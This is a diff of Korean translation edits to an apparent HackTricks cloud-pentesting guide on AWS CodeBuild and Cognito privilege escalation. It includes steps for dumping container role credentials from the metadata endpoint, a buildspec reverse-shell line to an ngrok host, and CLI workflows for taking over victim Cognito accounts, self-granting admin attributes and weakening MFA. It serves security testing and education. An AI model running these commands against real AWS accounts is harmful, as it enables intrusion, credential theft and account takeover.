> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
|
||||
|
||||
> 이 파일에는 **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 들어 있으며, 자격 증명에 접근하기 위한 **URL path**을 포함한다. 예시는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같다.
|
||||
> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> 해당 값을 **`http://169.254.170.2/`**에 추가하면 role credentials를 덤프할 수 있다.
|
||||
> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
|
||||
|
||||
> 또한 **env variable `ECS_CONTAINER_METADATA_URI`**가 포함되어 있어 컨테이너에 대한 **메타데이터 정보**를 얻기 위한 전체 URL을 제공한다.
|
||||
> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
이전 섹션과 마찬가지로, build project를 생성하는 대신 수정할 수 있다면, IAM Role을 지정하여 token을 탈취할 수 있다.
|
||||
이전 섹션과 마찬가지로, build project를 생성하는 대신 수정할 수 있다면, IAM Role을 지정하고 토큰을 훔칠 수 있습니다.
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접 privesc.
|
||||
**잠재적 영향:** 모든 AWS Codebuild role에 대한 직접 privesc.
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
이전 섹션과 유사하지만 **`iam:PassRole` 권한 없이**, 이 권한들을 악용하면 **기존 Codebuild 프로젝트를 수정하고 이미 할당된 역할에 접근할 수 있습니다**.
|
||||
이전 섹션과 마찬가지로 **`iam:PassRole` 권한 없이**, 이 권한들을 악용하여 **기존 Codebuild 프로젝트를 수정하고 이미 할당된 role에 접근할 수 있습니다**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** Direct privesc to attached AWS Codebuild roles.
|
||||
**잠재적 영향:** 연결된 AWS Codebuild 역할에 대한 직접 privesc.
|
||||
|
||||
### SSM
|
||||
|
||||
**ssm session을 시작할 수 있는 충분한 권한**이 있으면, 빌드 중인 **Codebuild project 내부로 들어갈 수 있습니다.**
|
||||
**ssm 세션을 시작할 수 있는 충분한 권한**이 있으면 빌드 중인 **Codebuild 프로젝트 내부**에 들어갈 수 있습니다.
|
||||
|
||||
The codebuild project will need to have a breakpoint:
|
||||
|
||||
@@ -314,7 +377,7 @@ commands:
|
||||
<strong> - codebuild-breakpoint
|
||||
</strong></code></pre>
|
||||
|
||||
그 다음:
|
||||
그런 다음:
|
||||
```bash
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
@@ -323,9 +386,9 @@ aws ssm start-session --target <sessionTarget> --region <region>
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 attacker가, 그 프로젝트가 `buildspec.yml` 파일을 공격자가 write access를 가진 S3 버킷에 저장해두고 있다면, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
|
||||
특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 attacker가, 해당 프로젝트의 `buildspec.yml` 파일이 attacker가 쓰기 권한을 가진 S3 버킷에 저장되어 있다면, CodeBuild 프로세스에서 command execution을 얻을 수 있다.
|
||||
|
||||
Note: 이 권한 상승은 CodeBuild worker가 attacker의 것과 다른 역할(가능하면 더 권한이 높은 역할)을 가질 때만 관련됩니다.
|
||||
참고: 이 권한 상승은 CodeBuild worker의 role이 attacker의 것과 다르고, 더 높은 권한을 가진 경우에만 관련된다.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -351,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impact:** 일반적으로 높은 권한을 가진 AWS CodeBuild worker가 사용하는 역할에 대한 직접 privesc.
|
||||
**Impact:** 일반적으로 높은 권한을 가진 AWS CodeBuild 워커가 사용하는 role에 대한 직접 privesc.
|
||||
|
||||
> [!WARNING]
|
||||
> buildspec은 zip 형식일 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드해 압축을 풀고 수정한 뒤 다시 압축하여 업로드해야 합니다
|
||||
> buildspec은 zip 형식일 수 있으므로, 공격자는 루트 디렉터리의 `buildspec.yml`을 다운로드하고 unzip한 뒤 수정하고 다시 zip하여 업로드해야 합니다
|
||||
|
||||
자세한 내용은 [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다.
|
||||
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potential Impact:** 첨부된 AWS Codebuild 역할에 대한 직접 privesc.
|
||||
**Potential Impact:** 연결된 AWS Codebuild roles에 대한 직접 privesc.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+97
-49
@@ -12,15 +12,15 @@ Cognito에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### Identity Pool에서 자격 증명 수집
|
||||
|
||||
Cognito는 **IAM role credentials**을 **authenticated** 및 **unauthenticated** **users** 모두에게 부여할 수 있기 때문에, 애플리케이션의 **Identity Pool ID**를 찾을 수 있다면(보통 애플리케이션에 하드코딩되어 있습니다) 새로운 자격 증명을 얻어 AWS 계정 내부에서 privesc를 수행할 수 있습니다(아마도 이전에는 어떤 자격 증명도 없었을 계정에서).
|
||||
Cognito는 **IAM role credentials**을 **authenticated** 및 **unauthenticated** **users** 모두에게 부여할 수 있으므로, 애플리케이션에 하드코딩되어 있을 가능성이 높은 **Identity Pool ID**를 찾으면 새로운 자격증명을 얻어(이전에는 자격증명이 전혀 없던 AWS 계정 내에서) privesc를 수행할 수 있습니다.
|
||||
|
||||
For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
자세한 내용은 [**이 페이지를 확인하세요**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**잠재적 영향:** unauth users에 연결된 services role로의 직접적인 privesc (및 아마도 auth users에 연결된 역할에도 해당).
|
||||
**잠재적 영향:** unauth users에 연결된 서비스 역할로의 직접적인 privesc(및 아마도 auth users에 연결된 역할로도).
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
이 권한으로 cognito app의 authenticated/unauthenticated users에게 **grant any cognito role**를 부여할 수 있습니다.
|
||||
이 권한을 통해 cognito 앱의 authenticated/unauthenticated 사용자들에게 **grant any cognito role**을 부여할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
cognito 앱에 **비인증 사용자가 활성화되어 있지 않은 경우** 이를 활성화하려면 `cognito-identity:UpdateIdentityPool` 권한이 필요할 수 있습니다.
|
||||
If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.
|
||||
|
||||
**잠재적 영향:** 어떤 cognito 역할으로의 직접적인 privesc.
|
||||
**잠재적 영향:** 직접 privesc로 어떤 cognito role로도 권한 상승이 가능합니다.
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito User Pool이나 자신이 로그인할 수 있는 다른 identity provider를 설정하여 **이 Cognito Identity Pool에 접근하는 수단**으로 사용할 수 있습니다. 그런 다음 해당 사용자 제공자에 단순히 **로그인**하는 것만으로도 **Identity Pool에 구성된 authenticated role에 접근할 수 있게 됩니다**.
|
||||
이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito User Pool이나 공격자가 로그인할 수 있는 다른 identity provider를 설정하여 **이 Cognito Identity Pool에 접근하는 방법**을 만들 수 있습니다. 그런 다음, 해당 provider에 단순히 **login**하면 **Identity Pool에 구성된 authenticated role에 접근할 수 있게 됩니다**.
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
또한 **이 권한을 악용해 basic auth를 허용할 수 있습니다**:
|
||||
또한 **이 권한을 악용해 basic auth를 허용할 수도 있습니다**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**잠재적 영향**: identity pool 내부에 구성된 authenticated IAM role을 탈취할 수 있습니다.
|
||||
**Potential Impact**: identity pool 내부에 구성된 인증된 IAM role을 탈취할 수 있음.
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
이 권한은 **Cognito user를 Cognito group에 추가**할 수 있게 하므로, 공격자는 자신이 제어하는 사용자를 더 높은 권한(**더 높은 권한**)이나 **다른 IAM roles**을 가진 그룹에 추가하도록 악용할 수 있습니다:
|
||||
이 권한은 **Cognito user를 Cognito group에 추가할 수 있도록 허용**하므로, attacker가 이 권한을 악용해 자신이 제어하는 user를 다른 그룹에 추가하여 **더 높은** 권한이나 **다른 IAM roles**을 얻을 수 있습니다:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
**Potential Impact:** 다른 Cognito 그룹 및 User Pool Groups에 연결된 IAM 역할로의 Privesc.
|
||||
**Potential Impact:** Privesc를 통해 다른 Cognito 그룹 및 User Pool Groups에 연결된 IAM 역할로 권한 상승.
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
이 권한을 가진 공격자는 **그룹을 생성/업데이트**하여 **침해된 Cognito Identity Provider가 사용할 수 있는 모든 IAM 역할**을 포함시키고, 침해된 사용자를 해당 그룹의 멤버로 만들어 그 역할들에 접근할 수 있습니다:
|
||||
이 권한을 가진 공격자는 **그룹 생성/업데이트**로 **침해된 Cognito Identity Provider가 사용할 수 있는 모든 IAM 역할**을 그룹에 연결하고, 침해된 사용자를 해당 그룹에 포함시켜 그 모든 역할에 접근할 수 있습니다:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**잠재적 영향:** 다른 Cognito IAM 역할로의 Privesc.
|
||||
**잠재적 영향:** Privesc to other Cognito IAM roles.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
이 권한은 **가입을 검증할 수 있습니다**. 기본적으로 누구나 Cognito 애플리케이션에 가입할 수 있으므로, 이 설정이 남아 있으면 사용자가 임의의 정보로 계정을 생성하고 이 권한으로 계정을 검증할 수 있습니다.
|
||||
이 권한은 **가입을 확인(검증)할 수 있게 합니다**. 기본적으로 Cognito 애플리케이션은 누구나 가입할 수 있도록 되어 있어, 이 상태로 방치되면 사용자가 임의의 정보로 계정을 생성한 뒤 이 권한으로 계정을 검증할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**잠재적 영향:** 새 사용자를 등록할 수 있으면 인증된 사용자에 대해 identity pool IAM role로의 간접적인 privesc가 발생할 수 있습니다. 또한 어떤 계정이든 확인할 수 있게 되어 앱의 다른 기능들에 대한 간접적인 privesc가 발생할 수 있습니다.
|
||||
**잠재적 영향:** 새 사용자를 등록할 수 있다면 authenticated users의 identity pool IAM role로의 간접 privesc가 발생할 수 있습니다. 또한, 어떤 계정이든 확인할 수 있는 앱의 다른 기능들로 인해 간접 privesc가 발생할 수 있습니다.
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
이 권한은 공격자가 user pool 내부에 새 사용자를 생성할 수 있게 합니다. 새 사용자는 enabled 상태로 생성되지만 비밀번호를 변경해야 합니다.
|
||||
이 권한은 공격자에게 user pool 내부에 새 사용자를 생성할 수 있는 권한을 부여합니다. 새 사용자는 활성화된(enabled) 상태로 생성되지만 비밀번호를 변경해야 합니다.
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**Potential Impact:** 인증된 사용자에 대한 identity pool IAM role로의 직접적인 privesc. 임의의 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 privesc
|
||||
**잠재적 영향:** 인증된 사용자의 identity pool IAM role에 대한 직접 privesc. 다른 앱 기능(예: 임의의 사용자를 생성할 수 있는 기능)에 대한 간접 privesc.
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
이 권한은 공격자가 비활성화된 사용자의 자격증명을 발견하여 해당 사용자를 **다시 활성화해야 하는** 매우 드문(엣지 케이스) 상황에서 유용할 수 있습니다.
|
||||
이 권한은 매우 드문 엣지 케이스에서, 공격자가 비활성화된 사용자의 자격증명(credentials)을 발견하여 해당 사용자를 **다시 활성화해야 하는** 경우에 도움이 될 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** 인증된 사용자의 identity pool IAM role에 대한 간접적인 privesc 및 공격자가 비활성화된 사용자의 credentials를 보유한 경우 해당 사용자의 권한 획득.
|
||||
**Potential Impact:** 인증된 사용자에 대한 identity pool IAM role로의 간접적인 privesc 및 공격자가 비활성화된 사용자의 자격 증명을 보유한 경우 해당 사용자의 권한
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
이 권한은 [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 자세한 내용은 링크를 확인하세요.
|
||||
이 권한으로 [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 로 로그인할 수 있습니다. 자세한 내용은 링크를 확인하세요.
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
이 권한을 통해 공격자는 **모든 사용자의 비밀번호를 변경할 수 있으며**, MFA가 활성화되어 있지 않은 사용자를 대상으로 해당 사용자를 사칭할 수 있습니다.
|
||||
이 권한은 공격자가 **임의의 사용자에 대해 알려진 비밀번호를 설정할 수 있도록 허용**하며, 보통 **직접적인 계정 탈취**로 이어집니다(특히 피해자가 MFA를 활성화하지 않았거나 해당 인증 흐름/클라이언트에서 MFA가 강제되지 않는 경우).
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**Potential Impact:** 직접 privesc로 잠재적으로 모든 사용자에게 권한 상승이 가능하므로, 각 사용자가 속한 모든 그룹과 Identity Pool authenticated IAM role에 접근할 수 있습니다.
|
||||
일반적인 작업 흐름:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
관련 권한: `cognito-idp:AdminResetUserPassword` 는 피해자에 대한 재설정 흐름을 강제로 실행하는 데 사용될 수 있습니다(영향은 비밀번호 복구가 어떻게 구현되어 있는지와 공격자가 무엇을 가로채거나 제어할 수 있는지에 따라 달라집니다).
|
||||
|
||||
**잠재적 영향:** 임의 사용자 계정 탈취; app 계층 권한 (groups/roles/claims) 및 Cognito tokens를 신뢰하는 모든 하위 리소스에 대한 접근; Identity Pool 인증된 IAM roles에 대한 잠재적 접근.
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: 공격자는 잠재적으로 이 권한을 악용해 자신이 제어하는 휴대전화 번호를 해당 사용자의 **SMS MFA**로 설정할 수 있습니다.
|
||||
**AdminSetUserSettings**: 공격자는 이 권한을 악용해 자신이 제어하는 휴대전화번호를 **사용자의 SMS MFA**로 설정할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** 이전 항목과 유사하게, 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
|
||||
**SetUserMFAPreference:** 이전 항목과 마찬가지로, 이 권한은 사용자의 MFA 환경설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: 이전 항목과 유사하게 이 권한은 사용자 풀의 MFA 설정을 변경해 MFA 보호를 우회하는 데 사용할 수 있습니다.
|
||||
**SetUserPoolMfaConfig**: 이전 항목과 유사하게, 이 권한은 user pool의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** 사용자 풀을 업데이트하여 MFA 정책을 변경할 수도 있습니다. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** User Pool을 업데이트하여 MFA 정책을 변경할 수도 있습니다. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** 공격자가 자격증명을 알고 있는 잠재적 모든 사용자에 대해 간접적인 privesc가 발생할 수 있으며, 이는 MFA 보호를 우회할 수 있습니다.
|
||||
**Potential Impact:** 공격자가 자격증명을 알고 있는 거의 모든 사용자에 대해 간접적인 privesc가 발생할 수 있으며, 이는 MFA 보호를 우회할 수 있습니다.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기반 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\
|
||||
이를 통해 이메일이나 전화번호를 변경하고 이를 검증된 것으로 설정할 수 있습니다.
|
||||
이 권한을 가진 공격자는 기본 애플리케이션에서 권한을 얻기 위해 User Pool 사용자의 **any mutable attribute**(`custom:*` 속성 포함)를 변경할 수 있습니다.
|
||||
|
||||
일반적으로 영향이 큰 패턴은 **claim-based RBAC**가 **custom attributes**를 사용해 구현되는 경우입니다(예: `custom:role=admin`). 애플리케이션이 해당 클레임을 신뢰하면, 이를 업데이트한 뒤 재인증하면 애플리케이션을 건드리지 않고도 권한 부여를 우회할 수 있습니다.
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Potential Impact:** 기반 애플리케이션에서 사용자 속성에 따라 권한을 부여하는 Cognito User Pool을 사용하는 경우 간접적인 privesc가 발생할 수 있습니다.
|
||||
예: upgrade your own role and refresh tokens:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**Potential Impact:** Cognito 속성/claims를 권한 부여에 신뢰하는 애플리케이션에서의 간접 privesc; 다른 보안 관련 속성을 수정할 수 있는 능력(예: `email_verified` 또는 `phone_number_verified`를 `true`로 설정하는 것이 일부 앱에서 중요할 수 있음).
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
이 권한을 가진 공격자는 기존 풀 클라이언트보다 제약이 적은 **새로운 User Pool Client를 생성할 수 있습니다.** 예를 들어, 새 클라이언트는 모든 종류의 인증 방법을 허용하거나, secret을 요구하지 않거나, token revocation이 비활성화되거나, 토큰의 유효기간을 더 길게 허용할 수 있습니다...
|
||||
이 권한을 가진 공격자는 기존 풀 클라이언트들보다 제약이 적은 새로운 **User Pool Client를 생성할 수 있습니다**. 예를 들어, 새 클라이언트는 모든 종류의 인증 방법을 허용하고, secret이 없으며, token revocation이 비활성화되고, 토큰의 유효기간을 더 길게 설정할 수 있습니다...
|
||||
|
||||
새 클라이언트를 생성하는 대신 **기존 클라이언트를 수정**해도 동일한 결과를 얻을 수 있습니다.
|
||||
|
||||
자세한 옵션은 [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))에서 확인할 수 있습니다. 확인해 보세요!
|
||||
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))에서 모든 옵션을 확인할 수 있습니다. 확인해보세요!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**Potential Impact:** 새로운 client를 생성하여 보안 조치를 완화하면 공격자가 자신이 생성한 사용자로 로그인할 수 있게 되어 User Pool에서 사용하는 Identity Pool의 권한 사용자에 대한 간접적인 privesc가 발생할 수 있습니다.
|
||||
**Potential Impact:** User Pool에서 사용되는 Identity Pool 권한 사용자의 간접적인 privesc 가능성 — 보안 조치를 완화하는 새로운 client를 생성하여 공격자가 생성한 사용자로 로그인할 수 있게 됨.
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
공격자는 이 권한을 악용하여 새 사용자가 담긴 csv를 업로드함으로써 사용자를 생성할 수 있습니다.
|
||||
공격자는 이 권한을 악용해 새 사용자가 포함된 CSV를 업로드하여 사용자를 생성할 수 있다.
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(새로운 import job을 생성하는 경우 iam passrole permission이 추가로 필요할 수 있습니다. 아직 테스트해보지 않았습니다).
|
||||
(새로운 import job을 생성하는 경우 iam passrole permission이 필요할 수도 있습니다. 아직 테스트해보지 않았습니다).
|
||||
|
||||
**잠재적 영향:** 인증된 사용자에게 identity pool IAM role로의 직접 privesc. 다른 앱 기능들이 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc.
|
||||
**Potential Impact:** 인증된 사용자의 identity pool IAM role에 대한 직접적인 privesc. 임의의 사용자를 생성할 수 있는 다른 app 기능들에 대한 간접적인 privesc.
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
공격자는 새로운 identity provider를 생성하여 **login through this provider**가 가능해질 수 있습니다.
|
||||
공격자는 새로운 identity provider를 생성한 뒤 **이 공급자를 통해 로그인할 수 있게 됩니다**.
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potential Impact:** 인증된 사용자의 identity pool IAM role에 대한 직접적인 privesc. 다른 앱 기능에서 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc.
|
||||
**Potential Impact:** 인증된 users에 대한 identity pool IAM role로의 직접적 privesc. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적 privesc.
|
||||
|
||||
### cognito-sync:\* 분석
|
||||
|
||||
이 권한은 Cognito Identity Pools의 역할에서 기본적으로 매우 흔합니다. 권한에 와일드카드가 있는 것은 항상 나빠 보이지만(특히 AWS의 경우), **해당 권한은 공격자 관점에서는 그다지 유용하지 않습니다**.
|
||||
이 권한은 Cognito Identity Pools의 역할에서 기본적으로 매우 흔한 권한입니다. 권한에 와일드카드가 있는 것은 항상 나빠 보이지만(특히 AWS에서의 경우), **제공된 권한은 공격자 관점에서는 크게 유용하지 않습니다**.
|
||||
|
||||
이 권한은 Identity Pools의 정보와 Identity Pools 내부의 Identity IDs 정보를 읽을 수 있게 해줍니다(민감한 정보는 아님).\
|
||||
Identity IDs에는 [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당되어 있을 수 있으며, 이는 세션 정보로 (AWS는 이를 **저장된 게임**처럼 정의합니다). 여기에는 어떤 민감한 정보가 포함될 가능성도 있지만(확률은 꽤 낮음) 있습니다. 이 정보를 어떻게 접근하는지에 대해서는 [**enumeration page**](../../aws-services/aws-cognito-enum/index.html)에서 확인할 수 있습니다.
|
||||
이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity IDs를 읽을 수 있게 합니다(이 정보는 민감한 정보가 아닙니다).\
|
||||
Identity IDs에는 [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당되어 있을 수 있으며, 이는 세션 정보(AWS에서는 이를 **saved game**처럼 정의합니다). 여기서 어떤 민감한 정보가 포함될 가능성은 있으나 확률은 매우 낮습니다. 이 정보를 액세스하는 방법은 [**enumeration page**](../../aws-services/aws-cognito-enum/index.html)에서 확인할 수 있습니다.
|
||||
|
||||
공격자는 또한 이러한 권한을 사용해 이러한 데이터셋의 변경사항을 게시하는 **Cognito stream에 자신을 등록(enroll)시키거나** 또는 **cognito 이벤트에서 트리거되는 lambda**에 접근할 수 있습니다. 저는 이것이 실제로 이용되는 것을 본 적은 없고, 여기에서 민감한 정보가 있을 것으로 기대하지 않지만 불가능한 것은 아닙니다.
|
||||
